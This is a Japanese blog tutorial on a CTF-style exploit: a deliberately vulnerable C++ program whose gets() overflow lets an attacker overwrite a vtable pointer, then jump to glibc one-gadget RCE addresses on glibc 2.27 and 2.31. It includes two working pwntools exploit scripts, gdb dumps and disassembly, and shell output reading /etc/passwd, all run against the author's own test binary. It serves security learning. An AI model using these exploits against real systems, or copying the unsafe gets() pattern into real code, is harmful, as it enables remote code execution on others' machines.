2
Help us understand the problem. What are the problem?

More than 1 year has passed since last update.

posted at

仮想関数テーブル、one-gadget RCE、glibc 2.31

glibc 2.31の環境で、C++の仮想関数テーブルを上書きできる脆弱性を突いて攻撃する話を「One-gadget RCEとは?」というような話も交えながら書いてみる。

分かる人向けまとめ。

  • 仮想関数テーブルの上書きでシェルを取ろうと思うとone-gadget RCEに頼らざるをえない
  • glibc 2.31のone-gadget RCEは、仮想関数テーブルの上書きと相性が悪く、one-gadget RCEの条件を満たせない
  • :bulb: 別の仮想メンバ関数呼び出しを挟むことで、one-gadget RCEの条件を満たせることもある
  • でもやっぱりつらいね

問題

data.cpp
//  g++ data.cpp -o data -fpie -Wl,-z,relro,-z,now -fcf-protection=none
#include <stdio.h>

extern "C" char *gets(char *s);

class Data
{
    char data[0x10];
public:
    virtual void get() {gets(data);}
    virtual void put() {puts(data);}
};

int main()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    Data *data[4];
    for (int i=0; i<4; i++)
        data[i] = new Data();

    printf("main: %p\n", main);
    printf("data: %p\n", data);
    printf("data[0]: %p\n", data[0]);
    printf("printf: %p\n", printf);

    while (true)
    {
        printf("> ");
        char buf[0x10];
        fgets(buf, 0x10, stdin);
        int command, index;
        sscanf(buf, "%d %d\n", &command, &index);

        if (command<0 || 2<=command ||
            index<0 || 4<=index)
            break;

        if (command==0)
            data[index]->get();
        if (command==1)
            data[index]->put();
    }
}

こういうプログラムを用意した。コンパイル済みのバイナリや攻撃コードとともにGitHubに置いてある。

virtual void get() {gets(data);}が脆弱性。今どきのC++はgetsが消えていてコンパイルできなかったので、わざわざ宣言している。glibcに実装は残っているから、コンパイルさえ通せばリンクはできる。

コンパイルオプションについて。

-fpieによって、プログラム本体の配置位置もASLRによってランダムになるようにしている。ライブラリ、スタック、ヒープの配置位置は元からランダムになっている。

-Wl,-z,relro,-z,nowによって、GOTを読み込み専用にしている。GOTは共有ライブラリ内の関数(printfとか)のアドレスが書かれる。プログラム起動時ではなく初回呼び出し時にアドレス解決をするために、デフォルトは書き込みもできるようになっている。ここ経由で攻撃ができることもある。この2個はセキュリティを強化するためのもの。今回のコードだとあまり関係無い気もするが。

-fcf-protection=noneはIntel CETを無効にするためのもの。古いGCCにはこのオプションが無くて、新しいGCCでnoneを指定したときと同じ挙動をするはず。Intel CETによってこの後に出てくるような攻撃が防がれる……らしい。このオプションを指定すればIntel CETに対応するCPUでも後の攻撃が試せる……はず? そもそも対応CPUがまだ無いので良く分からん。

main関数のアドレスなどを出力している。これらによって、上から順番に、このプログラム、スタック、ヒープ、glibcのアドレスが分かる。普通はこのような出力は無く、まずはこれらの値をリークさせるところから。この記事の主題はここではないので、簡単にしている。

CTFのPwnable

Pwnableは「スタックバッファオーバーフローなどの脆弱性を攻撃してみろ」という問題。

昔は、SSHでログインするとsuidされたプログラムが置いてあって権限昇格したり、TCPサーバーを実装したプログラムが問題だったりしたのだけど、今は標準入出力を使っているものがほとんど。

出題者は、サーバーに置いたプログラムをxinetd経由で動かすことで、TCPのサーバーを提供する。手元で動かすときは、いちいちxinetdの設定ファイルを書くのは面倒なので、socatを使って

$ socat tcp-l:7777,reuseaddr,fork system:./data

とすれば良い。これで、TCPの7777ポートと./dataの標準入出力が繋がる。

$ socat tcp-l:7777,reuseaddr,fork 'system:gdbserver localhost\:8888 ./data'

とすればgdbserver経由で動かせるので、gdbを繋いでデバッグできる。localhost\:8888\はシェルのエスケープではなく、socatの引数としてのエスケープ。ややこしい。

答えとなるフラグはたいてい問題サーバーのどこかにファイルとして置かれている。脆弱性を突いて、lscatなどに相当するコードを実行しても良いのだけど、面倒なので、system("/bin/sh")に相当するコードを動かすことが多い。systemの標準入出力もそのままTCPのポートに繋がれるから、好きにコマンドを実行できる。

C++のクラスの仮想関数テーブル

test.cpp
#include <iostream>
using namespace std;

struct Base
{
    virtual void f() {cout<<"base"<<endl;}
};

struct Sub: Base
{
    virtual void f() {cout<<"sub"<<endl;}
};

int main()
{
    Base *p = new Sub();
    p->f();
}

これを実行すると何が出力されるでしょうか? 答えはsubBase型のポインタのメンバ関数を呼び出しているけれど、ポインタが指しているのはSub型なので、Subのメンバ関数が実行される。動的多態性。他のプログラミング言語ではメンバ関数(メソッド)はこのような動作をするのが普通。でも、パフォーマンス至上主義であるところのC++は、「このポインタが指している値の型は?」ということを気にしてパフォーマンスが落ちるのを避けるためか、virtualキーワードを付けたメンバ関数だけがこのような挙動をする。

これをどうやって実現しているのか?

> 0 0
hoge
> 0 1
fuga
> 0 2
piyo

を入力した後のメモリの様子をgdbで見てみる。ちなみに、gdbにPEDAというプラグインを入れると、レジスタやスタックの値が一度に表示されたり、hexdumpなどのコマンドが増えて便利。

$ gdb data
 :
gdb-peda$ r
Starting program: /home/kusano/ctfpwn/data
main: 0x555555555199
data: 0x7fffffffe380
data[0]: 0x55555556aeb0
printf: 0x7ffff7c49e10
> 0 0
hoge
> 0 1
fuga
> 0 2
piyo
> ^C
Program received signal SIGINT, Interrupt.
 :
gdb-peda$ b *(main+327)
Breakpoint 1 at 0x5555555552e0
gdb-peda$ c
Continuing.
9 9
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe3a0 --> 0x7f000a392039
RBX: 0x55555556af10 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:       push   rbp)
RCX: 0x7ffff7cf5fb2 (<__GI___libc_read+18>:     cmp    rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x7ffff7dd0a03 --> 0xdd34d0000000000a
RDI: 0x7ffff7dd34d0 --> 0x0
RBP: 0x7fffffffe3d0 --> 0x0
RSP: 0x7fffffffe370 --> 0x280
RIP: 0x5555555552e0 (<main+327>:        lea    rcx,[rbp-0x58])
R8 : 0x7fffffffe3a0 --> 0x7f000a392039
R9 : 0x0
R10: 0x555555556031 --> 0x642520642500203e ('> ')
R11: 0x246
R12: 0x5555555550b0 (<_start>:  endbr64)
R13: 0x7fffffffe4c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555552d3 <main+314>:   mov    esi,0x10
   0x5555555552d8 <main+319>:   mov    rdi,rax
   0x5555555552db <main+322>:   call   0x555555555090 <fgets@plt>
=> 0x5555555552e0 <main+327>:   lea    rcx,[rbp-0x58]
   0x5555555552e4 <main+331>:   lea    rdx,[rbp-0x5c]
   0x5555555552e8 <main+335>:   lea    rax,[rbp-0x30]
   0x5555555552ec <main+339>:   lea    rsi,[rip+0xd41]        # 0x555555556034
   0x5555555552f3 <main+346>:   mov    rdi,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe370 --> 0x280
0008| 0x7fffffffe378 --> 0x400000002
0016| 0x7fffffffe380 --> 0x55555556aeb0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:   push   rbp)
0024| 0x7fffffffe388 --> 0x55555556aed0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:   push   rbp)
0032| 0x7fffffffe390 --> 0x55555556aef0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:   push   rbp)
0040| 0x7fffffffe398 --> 0x55555556af10 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:   push   rbp)
0048| 0x7fffffffe3a0 --> 0x7f000a392039
0056| 0x7fffffffe3a8 --> 0x555555555400 (<__libc_csu_init>:     endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00005555555552e0 in main ()

PEDAのおかげでレジスタやスタックにアドレスが入っていたら辿ってくれたり、アドレスの属性(読み込み専用とか実行可とか)ごとに色が付いていたりして大変見やすい。

image.png

スタックのこの部分がdata[4]。値としては、0x55555556aeb0とか。

0016| 0x7fffffffe380 --> 0x55555556aeb0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:   push   rbp)
0024| 0x7fffffffe388 --> 0x55555556aed0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:   push   rbp)
0032| 0x7fffffffe390 --> 0x55555556aef0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:   push   rbp)
0040| 0x7fffffffe398 --> 0x55555556af10 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>:   push   rbp)

メモリの中身を見てみる。

gdb-peda$ hexdump 0x55555556aeb0 0x100
0x000055555556aeb0 : 60 7d 55 55 55 55 00 00 68 6f 67 65 00 00 00 00   `}UUUU..hoge....
0x000055555556aec0 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00   ........!.......
0x000055555556aed0 : 60 7d 55 55 55 55 00 00 66 75 67 61 00 00 00 00   `}UUUU..fuga....
0x000055555556aee0 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00   ........!.......
0x000055555556aef0 : 60 7d 55 55 55 55 00 00 70 69 79 6f 00 00 00 00   `}UUUU..piyo....
0x000055555556af00 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00   ........!.......
0x000055555556af10 : 60 7d 55 55 55 55 00 00 00 00 00 00 00 00 00 00   `}UUUU..........
0x000055555556af20 : 00 00 00 00 00 00 00 00 e1 f0 00 00 00 00 00 00   ................
0x000055555556af30 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af40 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af50 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af70 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af80 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556afa0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

data[0]のアドレスの8バイト先に入力した文字列が入っていることが分かる。0x21はmallocが使っている値なので、今回は無視して良い。残りは、(リトルエンディアンなので)0x555555557d60。

ここに何が入っているか見てみる。

gdb-peda$ hexdump 0x555555557d60 0x20
0x0000555555557d60 : 9a 53 55 55 55 55 00 00 ba 53 55 55 55 55 00 00   .SUUUU...SUUUU..
0x0000555555557d70 : 08 90 fa f7 ff 7f 00 00 3b 60 55 55 55 55 00 00   ........;`UUUU..

0x55555555539aと0x5555555553ba。これが何かというと、Data::get()Data::put()のアドレス。

gdb-peda$ pdisass 0x55555555539a
Dump of assembler code from 0x55555555539a to 0x5555555553ba::  Dump of assembler code from 0x55555555539a to 0x5555555553ba:
   0x000055555555539a <Data::get()+0>:  push   rbp
   0x000055555555539b <Data::get()+1>:  mov    rbp,rsp
   0x000055555555539e <Data::get()+4>:  sub    rsp,0x10
 :
gdb-peda$ pdisass 0x5555555553ba
Dump of assembler code from 0x5555555553ba to 0x5555555553da::  Dump of assembler code from 0x5555555553ba to 0x5555555553da:
   0x00005555555553ba <Data::put()+0>:  push   rbp
   0x00005555555553bb <Data::put()+1>:  mov    rbp,rsp
   0x00005555555553be <Data::put()+4>:  sub    rsp,0x10
 :

ということで、Dataを継承したクラスでも、1個目がget()のアドレスで2個目がput()のアドレスという仮想関数テーブルのアドレスを、インスタンスの最初に置いてくれれば、data[index]->get()という呼び出しで、継承したクラスのget()が呼べる。

仮想関数テーブル自体は書き込み不可の領域にあるものの、仮想関数テーブルを指すポインタは書き換え可能な領域にある。適当な仮想関数テーブルを作って仮想関数テーブルを指すアドレスを書き換えられれば、data[index]->get()で好きなアドレスに制御を移せる。Data::dataへの読み込みに脆弱なgets関数を使っているので、これは実現できる。

One-gadget RCE

ということで、好きなアドレスに制御を移せるものの、実行したいのはsystem("/bin/sh")である。どうしよう。

仮想関数テーブルに上書きができるという脆弱性以外の脆弱性の場合、あまり困らない。

スタックバッファオーバーフローならば、ROP(Return oriented programming)で、system("/bin/sh")という処理を作れる。

ヒープ関連の脆弱性の場合。脆弱性を突いてできることは、まずは任意のアドレスへの任意の値の書き込み(AAW、Any Address Write)である。glibcには__free_hookという便利な変数がある。__free_hookに関数fのアドレスを書き込んでおくと、free(hoge)という処理で、f(hoge)が呼び出される。たいていはmallocで確保した領域には脆弱性を使わなくても好きな文字列を書き込めるので"/bin/sh"を書き込んで、__free_hooksystemのアドレスを書き込んでおけば、解放するときにsystem("/bin/sh")になる。GOTが書き込み可能ならば、putsなどをsystemに差し替えて、puts("/bin/sh")system("/bin/sh")にするということもできる。

仮想関数テーブルを上書きする場合、こういう凝ったことができない。どこかのアドレスに制御を移すだけ。p->f(user_input)という形になっていれば、p->fsystemに差し替えて上手くいくかと思いきや、これもダメ。メンバ関数のアドレスをCの関数に差し替えたとき、Cの関数の第1引数の位置にはthisが来る。

そこでOne-gadget RCE(Remote Code Execution)が出てくる。(レジスタの値などの条件を満たした上で)glibcの特定のアドレスに制御を移せば、execve("/bin/sh", NULL, NULL)が実行される。マニュアルでは「argvenvpNULLを渡すのは止めろ」と言っているが、動くので気にしなくて良い。

どうしてこういうことが起こるのかというと、指定されたファイルがELF形式でない場合にexeve/bin/shの引数にファイルを渡して実行したり、system/bin/sh -c commandを実行するようになっているから。この処理の途中に上手いこと飛ぶと、execve("/bin/sh", NULL, NULL)になる。

glibcを逆アセンブルして、"/bin/sh"を手がかりに探しても良いのだけど、探してくれるツールもある。

$ one_gadget libc_2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

ちなみに、デフォルトでは条件が満たされる可能性が高いものだけが出力される。引数に-l 1を付けると増える。

$ one_gadget -l 1 libc_2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
  [r14] == NULL || r14 == NULL
  [r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
  [[rbp-0x88]] == NULL || [rbp-0x88] == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
  [rsi] == NULL || rsi == NULL
  [[rax]] == NULL || [rax] == NULL

glibc 2.27の場合

data[2]に偽の仮想関数テーブル(1個目のget()の位置に、one-gadget RCE)を書き込んでおき、data[0]->dataのオーバーフローでdata[1]の仮想関数テーブルのアドレスを偽の仮想関数テーブルに書き換え、data[1]->get()を呼び出すと、/bin/shが実行される。

attack_2.27.py
from pwn import *

context.arch = "amd64"

s = connect("localhost", 7777)

s.recvuntil("data[0]: 0x")
data0 = int(s.recvline()[:-1], 16)
s.recvuntil("printf: 0x")
printf = int(s.recvline()[:-1], 16)

def get(index, data):
  s.sendlineafter("> ", "%d %d"%(0, index))
  s.sendline(data)

def put(index):
  s.sendlineafter("> ", "%d %d"%(1, index))
  return s.recvline()[:-1]

libc = printf - 0x64e80
rce = libc + 0x4f322

get(2, pack(rce))
get(0, b"a"*0x18 + pack(data0 + 0x48))
get(1, "")

s.interactive()
$ python3 attack_2.27.py
[+] Opening connection to localhost on port 7777: Done
[*] Switching to interactive mode
$ uname -a
Linux RIO 4.4.0-18362-Microsoft #836-Microsoft Mon May 05 16:04:00 PST 2020 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
 :

攻撃したときのメモリはこんな感じ。

gdb-peda$ hexdump 0x55555556aeb0 0x100
0x000055555556aeb0 : 60 7d 55 55 55 55 00 00 61 61 61 61 61 61 61 61   `}UUUU..aaaaaaaa
0x000055555556aec0 : 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
0x000055555556aed0 : f8 ae 56 55 55 55 00 00 00 00 00 00 00 00 00 00   ..VUUU..........
0x000055555556aee0 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00   ........!.......
0x000055555556aef0 : 60 7d 55 55 55 55 00 00 b2 42 c3 f7 ff 7f 00 00   `}UUUU...B......
0x000055555556af00 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00   ........!.......
0x000055555556af10 : 60 7d 55 55 55 55 00 00 00 00 00 00 00 00 00 00   `}UUUU..........
0x000055555556af20 : 00 00 00 00 00 00 00 00 e1 f0 00 00 00 00 00 00   ................
0x000055555556af30 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af40 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af50 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af70 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af80 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556af90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x000055555556afa0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

使っているライブラリpwnはこれ。

「Aという文字列が来るまで待ってから、Bを書き込む」という処理や、struct.pack("<Q", ...)のような処理が楽に書ける。ELFを解析してシンボルを読んだりする機能もある。ローカルでプログラムを実行してパイプで処理するときにもほぼ同じように書けるので、CTFのPwnableを解くとき以外にも役に立つかもしれない。

glibc 2.31の場合

問題は2.31の場合である。

2.31と書いているけれど、2.27(Ubuntu 18)と2.31(Ubuntu 20)しか確認していないので、その間のどこで変わったのかは分からん。

同じようにone_gadgetを実行してもこれしか出てこない。-l 1を付けているのに。

$ one_gadget -l 1 libc_2.31.so
0xe6ce3 execve("/bin/sh", r10, r12)
constraints:
  [r10] == NULL || r10 == NULL
  [r12] == NULL || r12 == NULL

0xe6ce6 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xe6ce9 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

何かバグがあったらしく、GitHubから最新版を持ってきてビルドすると、ちょっと増える。

Failed to find some gadgets on glibc 2.31 · Issue #119 · david942j/one_gadget

$ git clone git@github.com:david942j/one_gadget.git
 :
$ cd one_gadget/
$ rm Gemfile.lock
$ bundle install --path vendor/bundle
$ bundle exec one_gadget -l 1 /path/to/libc_2.31.so
0xe6aee execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0xe6ce3 execve("/bin/sh", r10, r12)
constraints:
  [r10] == NULL || r10 == NULL
  [r12] == NULL || r12 == NULL

0xe6ce6 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

何かエラーが出たので、Gemfile.lockを消したらビルドできた。Ruby良く分からん。たぶん、何とかenvでbundlerのバージョンとかをどうにかするのが正しい対処だと思う。

いっぱい出てきたからどれか1個くらい成功するかと思いきや、どれもダメ。[r12] == NULL || r12 == NULL[rdx] == NULL || rdx == NULLのどちらかは真でないといけない。

r12mainの呼び出し時点で、_startのアドレスが設定されていた。これは[r12] == NULLr12 == NULLも満たさない。x64の呼び出し規約ではr12は呼び出された側が元に戻さないといけないので、main関数中でr12が使われていなければ、以降mainの中にいるときのr12の値が変わることはない。

rdxは仮想関数テーブル上書きとの相性が悪い。GCCで最適化をしないとき、仮想メンバ関数の呼び出しは次のようなコードになる。

    1351:   8b 45 a8                mov    eax,DWORD PTR [rbp-0x58]
    1354:   48 98                   cdqe   
    1356:   48 8b 44 c5 b0          mov    rax,QWORD PTR [rbp+rax*8-0x50]
    135b:   8b 55 a8                mov    edx,DWORD PTR [rbp-0x58]
    135e:   48 63 d2                movsxd rdx,edx
    1361:   48 8b 54 d5 b0          mov    rdx,QWORD PTR [rbp+rdx*8-0x50]
    1366:   48 8b 12                mov    rdx,QWORD PTR [rdx]
    1369:   48 83 c2 08             add    rdx,0x8
    136d:   48 8b 12                mov    rdx,QWORD PTR [rdx]
    1370:   48 89 c7                mov    rdi,rax
    1373:   ff d2                   call   rdx

rdxに呼び出す仮想メンバ関数のアドレスを設定してcall。[rdx] == NULL || rdx == NULLが満たされない。

ところで、なぜglibc 2.31でone gadget RCEが減ったのか? それは一部の関数の実装で、forkexeveを使っていたところが、posix_spawnになったから。one_gadgetは対応していないものの、これらもone-gadget RCEになる。

Consider posix_spawn as a gadget · Issue #121 · david942j/one_gadget

手元のglibc 2.31ではアドレスがズレていたのであらためて貼る。

   54f7b:   48 8d 05 25 26 16 00    lea    rax,[rip+0x162625]        # "-c"
   54f82:   48 8d 0d 26 26 16 00    lea    rcx,[rip+0x162626]        # "sh"
   54f89:   31 d2                   xor    edx,edx
   54f8b:   66 48 0f 6e c8          movq   xmm1,rax
   54f90:   66 48 0f 6e c1          movq   xmm0,rcx
   54f95:   48 8d 7c 24 0c          lea    rdi,[rsp+0xc]
   54f9a:   48 8b 05 0f 5f 19 00    mov    rax,QWORD PTR [rip+0x195f0f]        # environ_ptr
   54fa1:   66 0f 6c c1             punpcklqdq xmm0,xmm1
   54fa5:   4c 8d 44 24 50          lea    r8,[rsp+0x50]
   54faa:   48 89 e9                mov    rcx,rbp
   54fad:   48 89 5c 24 60          mov    QWORD PTR [rsp+0x60],rbx
   54fb2:   4c 8b 08                mov    r9,QWORD PTR [rax]
   54fb5:   48 8d 35 ee 25 16 00    lea    rsi,[rip+0x1625ee]        # "/bin/sh"
   54fbc:   0f 29 44 24 50          movaps XMMWORD PTR [rsp+0x50],xmm0
   54fc1:   48 c7 44 24 68 00 00    mov    QWORD PTR [rsp+0x68],0x0
   54fc8:   00 00 
   54fca:   e8 b1 a7 0b 00          call   10f780 <posix_spawn@@GLIBC_2.15>

one_gadgetの作者が条件として書いているrax == NULLは、この問題では満たされない。でも、rcx == NULLでも良い。この場合は、argv = {NULL}となる。/bin/shはこれでも動く。

(u16)[rbp] == 0も満たしている。関数の冒頭の定型文push rbp; mov rbp,rspから、[rbp]に来るのは関数呼び出し前のrbpの値である。mainでは0だった。なお、mainから呼び出される関数では普通はこの条件は満たさない。

これで、シェルが実行できるかと思うと、movaps XMMWORD PTR [rsp+0x50],xmm0で落ちる。

x64の呼び出し規約では、callを実行した時点のスタックが16バイト境界に揃っている((rsp&0xf)==0となっている)必要がある。callの時点でリターンアドレスが積まれて8バイトずれ、関数冒頭のpush rbpでもう8バイトずれるので、通常はその他のrspの操作が16バイト単位ならこの条件を満たす。One-gadget RCEでは関数の途中に飛んでpush rbpを飛ばすため、rspの下位4ビットが8になってしまう。

スタックが16バイト境界に揃っていなくてもだいたいは問題が無いのだが、movapsのような一部の命令は動かない。そして、posix_spawnの周りには妙にmovapsが多い。スタックバッファオーバーフローからのROPならば、途中にretを挟むだけで回避できるのだけど……。

callをもう1回実行できれば、rspがさらに8バイトずれて上手くいく。なので、次のようにすれば良い。

  1. 仮想関数テーブルのgetの位置に、maindata[index]->put()の呼び出しのあたりのアドレスを書いておく
  2. call(1回目)でdata[index]->put()のあたりに制御が移る
  3. 仮想関数テーブルのputの位置には、one-gadget RCEのアドレスを書いておく
  4. data[index]->put()call(2回目)が実行されて、one-gadget RCEに制御が移る
  5. :tada:
attack_2.31.py
from pwn import *

context.arch = "amd64"

s = connect("172.18.90.7", 7777)

s.recvuntil("main: 0x")
main = int(s.recvline()[:-1], 16)
s.recvuntil("data[0]: 0x")
data0 = int(s.recvline()[:-1], 16)
s.recvuntil("printf: 0x")
printf = int(s.recvline()[:-1], 16)

def get(index, data):
  s.sendlineafter("> ", "%d %d"%(0, index))
  s.sendline(data)

def put(index):
  s.sendlineafter("> ", "%d %d"%(1, index))
  return s.recvline()[:-1]

base = main - 0x1199
put = base + 0x1351

libc = printf - 0x64e10
rce = libc + 0x54f89

get(2, pack(put)+pack(rce))
get(0, b"a"*0x18 + pack(data0 + 0x48))
get(1, "")

s.interactive()
$ python3 attack_2.31.py
[+] Opening connection to 172.18.90.7 on port 7777: Done
[*] Switching to interactive mode
$ uname -a
Linux Ubuntu20 5.4.0-40-generic #44-Ubuntu SMP Tue Jun 23 00:01:04 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
 :

今回はたまたま成功したけれど、one-gadget RCEのアドレスを1-2個適当に試せば動いたglibc 2.27に比べると、だいぶ綱渡り感がある。posix_spawnは引数が多いので、それだけ満たすべき条件が増えて厳しい。レジスタの値の調整などを頑張りだすと「何のためのOne-gadget RCEだ……」という気がしてくる。上記の方法もガジェットを2個使っているし。まあ、libcのバージョンが2.31だったら、まずはone-gadget RCEを使わない方法を考えるべきでしょう :weary:

Register as a new user and use Qiita more conveniently

  1. You can follow users and tags
  2. you can stock useful information
  3. You can make editorial suggestions for articles
What you can do with signing up
2
Help us understand the problem. What are the problem?